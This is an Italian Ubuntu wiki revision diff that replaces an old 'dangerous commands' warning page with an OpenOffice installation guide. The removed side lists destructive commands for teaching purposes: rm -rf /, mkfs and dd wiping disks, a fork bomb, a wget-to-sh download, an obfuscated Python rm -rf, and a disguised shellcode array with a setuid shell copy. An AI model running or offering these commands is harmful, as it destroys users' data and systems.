Dimensione: 7078
Commento:
|
Dimensione: 5827
Commento:
|
Le cancellazioni sono segnalate in questo modo. | Le aggiunte sono segnalate in questo modo. |
Linea 1: | Linea 1: |
## page was renamed from ComandiDannosi | ## page was renamed from Openoffice.org |
Linea 5: | Linea 5: |
<<Indice(width=2)>> <<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>> |
<<Indice>> <<Informazioni(rilasci="16.04"; forum="http://forum.ubuntu-it.org/viewtopic.php?t=440682")>> |
Linea 10: | Linea 10: |
A scopo puramente didattico e illustrativo, in questa guida raccoglie una lista di comandi potenzialmente pericolosi. | '''Apache !OpenOffice''' è una suite per ufficio multipiattaforma e multilingua compatibile con le principali suite per ufficio, commerciali e non.<<BR>>Col nome '''!OpenOffice.Org''' è stata, fino alla versione '''10.10''' di Ubuntu, la suite d'ufficio predefinita, sostituita in seguito con [[Ufficio/LibreOffice|LibreOffice]]. Per informazioni sulle differenze fra le due suite consultare [[Ufficio/LibreOffice#Differenze_fra_LibreOffice_e_OpenOffice|questa pagina]]. |
Linea 12: | Linea 12: |
Si raccomanda di usare particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]]. | Nella seguente guida viene mostrato come installare la versione scaricabile dal sito ufficiale. |
Linea 14: | Linea 14: |
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide relative al [[AmministrazioneSistema/Terminale|terminale]] e ai [[AmministrazioneSistema/ComandiBase|comandi di base]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || | = Operazioni preliminari = |
Linea 16: | Linea 16: |
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Gli utenti che pubblicheranno questi comandi all'interno del [[http://forum.ubuntu-it.org|forum di supporto di Ubuntu-it]] verranno permanentemente bannati, attraverso il blocco del loro account.''' || | ||<tablestyle="text-align: justify; width:63%; " style="border:none;" 5% ^><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''L'installazione contemporanea di !OpenOffice e !LibreOffice è causa di conflitti nel sistema. Seguire le istruzioni riportate di seguito, a seconda se si desidera avere a disposizione entrambi i software oppure il solo !OpenOffice.'''|| |
Linea 18: | Linea 18: |
= Comandi da terminale = | == OpenOffice e LibreOffice == |
Linea 20: | Linea 20: |
<<Anchor(rm)>> == Rimozione: rm == * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{ rm -rf / rm -rf . rm -rf * |
È possibile far convivere le installazioni di '''Apache !OpenOffice''' e '''[[Ufficio/LibreOffice|LibreOffice]]'''. Per evitare possibili conflitti è opportuno cancellare il link simbolico `/usr/bin/soffice`. A tal fine digitare nel [[AmministrazioneSistema/Terminale|terminale]]:{{{ sudo rm /usr/bin/soffice |
Linea 29: | Linea 24: |
* Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{ rm -r .* }}} potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. |
[si verificano assenza di icone di LO nel menu e problemi di dipendenze dei pacchetti]] |
Linea 34: | Linea 26: |
* Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{ rm -r .[^.]* |
In alternativa: 0. Rimuovere '''!LibreOffice''' e installare !OpenOffice seguendo le istruzioni dei successivi paragrafi. 0. Installare '''!LibreOffice''' tramite pacchetto ''snap'' seguendo le istruzioni di [[Ufficio/LibreOffice#Tramite_pacchetti_snap_.28Ubuntu_16.04_e_superiori.29| questa guida]]. == Solo OpenOffice == Se invece non si è interessati ad utilizzare '''!LibreOffice''', è opportuno [[[[AmministrazioneSistema/InstallareProgrammi|disinstallare]] completamente il programma digitando nel [[AmministrazioneSistema/Terminale|terminale]]:{{{ sudo apt-get purge libreoffice* |
Linea 39: | Linea 36: |
<<Anchor(mkfs)>> == Formattazione: mkfs == |
= Installazione = |
Linea 42: | Linea 38: |
Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. | 0. Scaricare il file `.tar.gz` da questo [[http://www.openoffice.org/download/|indirizzo]], avendo cura di selezionare l'opzione '''DEB 32bit''' oppure '''DEB 64bit''', a seconda della propria architettura, e '''Download full installation''' per avere già inclusa la lingua italiana. 0. [[AmministrazioneSistema/FormatiDiCompressione#decomprimere|Estrarre]] il contenuto dell'archivio `.tar.gz` nella propria '''Home'''. 0. Spostarsi nella cartella `DEBS` [[AmministrazioneSistema/ComandiBase#cd|con il terminale]] o [[AmbienteGrafico/FileManager|tramite file manager]] e [[AmministrazioneSistema/InstallareProgrammi/PacchettiDebian|installare i pacchetti]]. <<BR>>È possibile eseguire questa operazione con un unico comando nel [[AmministrazioneSistema/Terminale|terminale]]: {{{ sudo dpkg -i *.deb }}} 0. Spostarsi nella directory `desktop-integration` [[AmministrazioneSistema/ComandiBase#cd|con il terminale]] o [[AmbienteGrafico/FileManager|tramite file manager]] e [[AmministrazioneSistema/InstallareProgrammi/PacchettiDebian|installare]] il pacchetto `.deb` all'interno. |
Linea 44: | Linea 45: |
Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). | = Lingua italiana = |
Linea 46: | Linea 47: |
{{{ mkfs mkfs.ext4 mkfs.ext4 /dev/sda1 }}} |
I pacchetti di installazione comprendono già tutto l'occorrente per la localizzazione del software. |
Linea 52: | Linea 49: |
<<Anchor(dd)>> == Copia di blocchi di dati: dd == |
== Impostazioni lingua == |
Linea 55: | Linea 51: |
Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). | Per modificare le impostazioni relative alla lingua utilizzare il menù '''''Strumenti → Opzioni → Impostazioni della lingua'''''.<<BR>> Se vi è bisogno di realizzare un controllo ortografico di un solo paragrafo o di un intero testo: 0. Selezionare il testo. 0. Dal menu '''''Formato → Carattere''''' selezionare dal menu a tendina '''Lingua''' l'impostazione desiderata. [dal programma!] |
Linea 57: | Linea 56: |
Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione: * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati). |
= Aggiungere una collezione di clipart = |
Linea 62: | Linea 58: |
[verificare] Per aggiungere una collezione di clipart in '''!OpenOffice''' è sufficiente [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://openclipart | openclipart]]. |
|
Linea 63: | Linea 61: |
<<Anchor(fork)>> == Utilizzo sconsiderato di fork() == |
Una volta installato, fare clic su '''''Strumenti → Gallery'''''. Selezionare quindi l'immagine desiderata e col tasto destro del mouse scegliere tra le varie opzioni che appariranno nel menu a discesa. |
Linea 66: | Linea 63: |
L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. | = Supporto ai documenti Open XML = |
Linea 68: | Linea 65: |
Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{ :(){:|&};: }}} oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{ fork while fork }}} |
Consultare la [[/OdfConverter|relativa guida]]. [guida molto probabilmente obsoleta] |
Linea 75: | Linea 68: |
<<Anchor(script)>> == Esecuzione script == |
= Accelerare l'avvio = |
Linea 78: | Linea 70: |
L'esecuzione di script all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere dannosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. | Per velocizzare l'avvio di '''!OpenOffice''' è possibile modificare alcuni parametri: |
Linea 80: | Linea 72: |
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ wget http://sito_internet/prova.sh sh ./prova.sh }}} {{{ wget http://sito_internet/prova.sh -O- | sh }}} |
* Aprire '''!OpenOffice''' e selezionare il menu '''''Strumenti → Opzioni''''' * In '''''!OpenOffice → Memoria Principale''''' modificare le seguenti opzioni aumentandone la dimensione: * '''Cache grafica''' * '''Memoria per oggetto''' * Inoltre è possibile, attraverso '''Numero di oggetti''', indicare quante tenerne in memoria. * Portarsi nella scheda '''Java''' e disabilitare '''Usa un ambiente runtime Java''' (questo disabiliterà le funzionalità del pacchetto '''Base'''). |
Linea 87: | Linea 79: |
<<Anchor(sorgente)>> = Compilazione codice sorgente = |
= Guide specifiche = |
Linea 90: | Linea 81: |
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti attendibili, quali le piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente (ad esempio [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). Un esempio di codice pericoloso è il seguente: {{{ char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; }}} Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente può sembrare un codice incomprensibile e affatto pericoloso. In realtà esegue il comando {{{ rm -rf ~ / & }}} che distrugge la cartella '''Home''' dell'utente che ha eseguito il codice compilato. = Archivi Tar = Alcuni archivi [[AmministrazioneSistema/FormatiDiCompressione#tar|tar]] possono provocare spiacevoli inconvenienti e causare danni al sistema. Per ulteriori informazioni consultare [[AmministrazioneSistema/FormatiDiCompressione#tar|questa guida]]. = Altri esempi = L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{ python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' }}} Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]]. |
## * [:Ufficio/OpenOffice.org/ScrivereInMoinMoin:Convertire un documento di testo in formato MoinMoin] * [[/FileAccess|Operare su database di Access con OpenOffice]] * [[Server/MySql/OpenOfficeOdbc|Guida all'uso di OpenOffice con MySql]] * [[/OdfConverter|Supporto ai documenti Office Open XML]] * [[http://www.galileicrema.it/intraitis/Documenti/MaterialeDidattico/appuntiCalc_base.pdf|Approfondimenti su Calc]] |
Linea 122: | Linea 89: |
* [[http://it.openoffice.org/|Sito ufficiale del progetto]] * [[http://it.openoffice.org/doc/index.html|Documentazione ufficiale]] |
|
Linea 124: | Linea 93: |
CategoryAmministrazione | ##CategoryProduttivita CategoryDaRevisionare CategoryHomepage |
Problemi in questa pagina? Segnalali in questa discussione
Introduzione
Apache OpenOffice è una suite per ufficio multipiattaforma e multilingua compatibile con le principali suite per ufficio, commerciali e non.
Col nome OpenOffice.Org è stata, fino alla versione 10.10 di Ubuntu, la suite d'ufficio predefinita, sostituita in seguito con LibreOffice. Per informazioni sulle differenze fra le due suite consultare questa pagina.
Nella seguente guida viene mostrato come installare la versione scaricabile dal sito ufficiale.
Operazioni preliminari
L'installazione contemporanea di OpenOffice e LibreOffice è causa di conflitti nel sistema. Seguire le istruzioni riportate di seguito, a seconda se si desidera avere a disposizione entrambi i software oppure il solo OpenOffice. |
OpenOffice e LibreOffice
È possibile far convivere le installazioni di Apache OpenOffice e LibreOffice. Per evitare possibili conflitti è opportuno cancellare il link simbolico /usr/bin/soffice. A tal fine digitare nel terminale:
sudo rm /usr/bin/soffice
[si verificano assenza di icone di LO nel menu e problemi di dipendenze dei pacchetti]]
In alternativa:
Rimuovere LibreOffice e installare OpenOffice seguendo le istruzioni dei successivi paragrafi.
Installare LibreOffice tramite pacchetto snap seguendo le istruzioni di questa guida.
Solo OpenOffice
Se invece non si è interessati ad utilizzare LibreOffice, è opportuno disinstallare completamente il programma digitando nel terminale:
sudo apt-get purge libreoffice*
Installazione
Scaricare il file .tar.gz da questo indirizzo, avendo cura di selezionare l'opzione DEB 32bit oppure DEB 64bit, a seconda della propria architettura, e Download full installation per avere già inclusa la lingua italiana.
Estrarre il contenuto dell'archivio .tar.gz nella propria Home.
Spostarsi nella cartella DEBS con il terminale o tramite file manager e installare i pacchetti.
È possibile eseguire questa operazione con un unico comando nel terminale:sudo dpkg -i *.deb
Spostarsi nella directory desktop-integration con il terminale o tramite file manager e installare il pacchetto .deb all'interno.
Lingua italiana
I pacchetti di installazione comprendono già tutto l'occorrente per la localizzazione del software.
Impostazioni lingua
Per modificare le impostazioni relative alla lingua utilizzare il menù Strumenti → Opzioni → Impostazioni della lingua.
Se vi è bisogno di realizzare un controllo ortografico di un solo paragrafo o di un intero testo:
- Selezionare il testo.
Dal menu Formato → Carattere selezionare dal menu a tendina Lingua l'impostazione desiderata. [dal programma!]
Aggiungere una collezione di clipart
[verificare] Per aggiungere una collezione di clipart in OpenOffice è sufficiente installare il pacchetto openclipart.
Una volta installato, fare clic su Strumenti → Gallery. Selezionare quindi l'immagine desiderata e col tasto destro del mouse scegliere tra le varie opzioni che appariranno nel menu a discesa.
Supporto ai documenti Open XML
Consultare la relativa guida. [guida molto probabilmente obsoleta]
Accelerare l'avvio
Per velocizzare l'avvio di OpenOffice è possibile modificare alcuni parametri:
Aprire OpenOffice e selezionare il menu Strumenti → Opzioni
In OpenOffice → Memoria Principale modificare le seguenti opzioni aumentandone la dimensione:
Cache grafica
Memoria per oggetto
Inoltre è possibile, attraverso Numero di oggetti, indicare quante tenerne in memoria.
Portarsi nella scheda Java e disabilitare Usa un ambiente runtime Java (questo disabiliterà le funzionalità del pacchetto Base).
Guide specifiche
Ulteriori risorse